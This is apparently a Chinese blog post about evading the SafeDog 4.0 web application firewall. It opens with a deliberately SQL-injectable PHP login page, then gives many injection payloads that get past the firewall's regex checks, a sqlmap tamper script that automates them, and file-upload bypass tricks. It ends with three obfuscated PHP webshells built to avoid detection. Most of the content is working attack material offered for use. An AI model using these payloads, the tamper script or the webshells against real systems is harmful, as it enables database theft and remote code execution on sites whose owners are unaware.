Bypass安全狗4.0

源代码:

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>check</title>
</head>
<?php
$agent = $_SERVER['HTTP_USER_AGENT'];

include 'connection.php';
function LoginCheck()           
{
if (isset($_GET['username']) && isset($_GET['password']) && !empty($_GET['username']) && !empty($_GET['password'])){
    $username = trim(@$_GET['username']);
    $password = trim(@$_GET['password']);
    if (empty($username) || empty($password)) {
        echo"               
            <body background='./image/background.jpg' style='background-repeat:no-repeat ;background-size:100% 100%; background-attachment: fixed;'>
                <br><br><br>
                <h1 style='font-family:verdana;color:red;text-align:center;font-size:40px;'>Not be Empty</h1>
            </body>
            ";
        exit();
    }
  }
  else{
    echo"               
            <body background='./image/background.jpg' style='background-repeat:no-repeat ;background-size:100% 100%; background-attachment: fixed;'>
                <br><br><br>
                <h1 style='font-family:verdana;color:red;text-align:center;font-size:40px;'>Input your username and password</h1>
            </body>
        ";
    exit();
  }

  return array($username,$password);
  }
  function MysqlSelect($conn,$data)           //注册
  {
  $sql = "select * from geekuser where username='".$data[0]."' and password='".$data[1]."'";
  $result = mysqli_query($conn,$sql);
  if ($result) {
    $row = mysqli_fetch_assoc($result);
    if ($row) {
        echo "
            <body background='./image/background.jpg' style='background-repeat:no-repeat ;background-size:100% 100%; background-attachment: fixed;'>
                <br><br><br>
                <h1 style='font-family:verdana;color:red;text-align:center;'>Login Success!</h1><br><br><br>
                </br>
                <p style='font-family:arial;color:#ffffff;font-size:30px;left:650px;position:absolute;'>Hello ".$row['username']."!</p>"."</br></br>
                <p style='font-family:arial;color:#ffffff;font-size:30px;left:650px;position:absolute;'>Your password is '".$row['password']."'</p>
            </body>
            ";
     }else{
        echo "
            <body background='./image/background.jpg' style='background-repeat:no-repeat ;background-size:100% 100%; background-attachment: fixed;'>
                <br><br><br>
                <h1 style='font-family:verdana;color:red;text-align:center;font-size:70px;'>NO,Wrong username password!!!</h1>
            </body>
            ";
     }
     }else {
     echo"               
        <body background='./image/background.jpg' style='background-repeat:no-repeat ;background-size:100% 100%; background-attachment: fixed;'>
            <br><br><br>
            <h1 style='font-family:verdana;color:#ffffff;text-align:center;font-size:15px'>
            ".
            mysqli_error($conn)
            ."</h1>
        </body>";
      }
      }
    $data = LoginCheck();
    MysqlSelect($conn,$data);
    ?>
    </html>

1=1绕过

'and 1=1-- -被拦截:

&符号可以绕

'%261-- -
'%26true-- -
'%260-- -
'%26false-- -

xor同样可以绕:

'Xor 1-- -
'Xor true-- -

'or length(database()=4)-- -会被ban,这样绕:

'%26(length(database/**/())=4)-- -
'%26(ascii(@@version)=53)-- -

这样也可以

1'or -1=-1-- -
1'or -0=-0-- -
...

内敛注释:

1'or /*!1=1*/-- -

或者简单粗暴点的 直接绕过and和or:

/*!11440OR*/
/*!11440AND*/

order by 绕过

%23%0a绕过

order%23%0aby 3

内敛注释加注释绕过:

1'/*!order /*!/*/**/by*/4-- -
1'/*!order /*/*%/**/by*/4-- -
1'/*!order /*!/*/**//**/by*/4-- -
1'/*!order /*!/*/**//*/**/by*/4-- -

同样类似上面绕过and方法:

/*!11440order*/

union select绕过:

利用内敛注释与注释的混淆绕过

1'/*!union/*!/*/**/*/select/**/1,2,'cl4y'-- -       #这个地方select后面的/**/要加,不过如果语句复杂一点就不用加了。

1.png

/*!11440union*/
/*!select/*!/*/**/*/

系统函数绕过

单独的括号和函数名都不会检测,思路就是分开函数名和括号就行:

version ()      #直接空格
user%0a()       #这个地方%0a~%20有很多,类似绕过空格
database/**/()  #注释符
user/*!*/()     #内敛注释
...

函数名绕过

在报错注入的时候可以用这个格式绕过:

/*!extractvalue/*!/*/**/*/
/*!updatexml/*!/*/**/*/
...

information_schema.*绕过

这个地方没有找到方法绕过,不过Mysql>5.6.xmysql 库里增添了两个新表,innodb_index_stats 和 innodb_table_stats 这两个表是数据库自动设置的。存储数据库和对应的数据表。安全狗没有对这两个表检测,详见这篇文章

最后就可以拖库了:

2.png

总结(干货)

有几个万能绕过的payload:
安全狗会正则想要ban掉的字符,比如如果将一个参数分割之后union select两个单词顺序出现就会ban掉,这里就利用正则的缺陷,让union或select不能单独分离出来,就可以绕过,比如这几个payload:

#针对两个关键字连用或者函数
/*!union/*!/*/**/*/select/**/
/*!database/*!/*/**/*/()/**/
/*!order/*!/*/**/*/by/**/
#针对单独的一个关键字
/*!union/*!/*/**/*/
/*!updatexml/*!/*/**/*/
/*!extractvalue/*!/*/**/*/

以上亲测好用,我觉得有这种payload,安全狗就是纸窗户qwq。

最后附上tamper脚本:

#!/usr/bin/env python
# -*- coding: UTF-8 -*-

from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING

__priority__ = PRIORITY.LOWEST

def dependencies():
pass

def tamper(payload, **kwargs):

if payload:
    payload=payload.replace("=","/*!*/=/*!*/")
    payload=payload.replace("ORDER","/*!ORDER/*!/*/**/*/")
    payload=payload.replace("AND","/*!AND/*!/*/**/*/")
    payload=payload.replace("OR","/*!OR/*!/*/**/*/")
    payload=payload.replace("UNION","/*!UNION/*!/*/**/*/")
    payload=payload.replace("SELECT","/*!SELECT/*!/*/**/*/")
    payload=payload.replace("USER()","/*!USER/*!/*/**/*/()/**/")
    payload=payload.replace("DATABASE()","/*!DATABASE/*!/*/**/*/()/**/")
    payload=payload.replace("VERSION()","/*!VERSION/*!/*/**/*/()/**/")
    payload=payload.replace("SESSION_USER()","/*!SESSION_USER/*!/*/**/*/()/**/")
    payload=payload.replace("EXTRACTVALUE","/*!EXTRACTVALUE/*!/*/**/*/()/**/")
    payload=payload.replace("UPDATEXML","/*!UPDATEXML/*!/*/**/*/")

return payload

文件上传Bypass安全狗4.0

环境是win+apache2.4+安全狗4.0

大致思路呢,就是考虑到安全狗在检测的时候,是正则常规request包,但是apache处理request包的时候有容错,这就造成了差异性,安全狗就会提取不出应该提取的部分,从而绕过

文件名回车绕过:

3.png

==绕过

4.png

双写filename=;(诡异的request包)

5.png

%00截断
在文件名后面加上%00然后CTRL+SHIFT+U转成字符,这里后面不用加.jpg也可以

6.png

给一个GitHub免杀一句话的项目:点击这里

然后整了一些过waf的马:

<?php
$a='ass';
$b='ert';
$funcName=$a.$b  //assert
$x='funcName';
$$x($_REQUEST['Name']);
?>

<?php
class User {
public $name='';
function __destruct(){
    eval("$this->name");
}
}
$user=new User;
$user->name=''.$_REQUEST['a'];
?>

<?php
function a($a){
return $a;}
eval (a($_REQUEST)['hh']);
?>

标签: Bypass安全狗4.0

添加新评论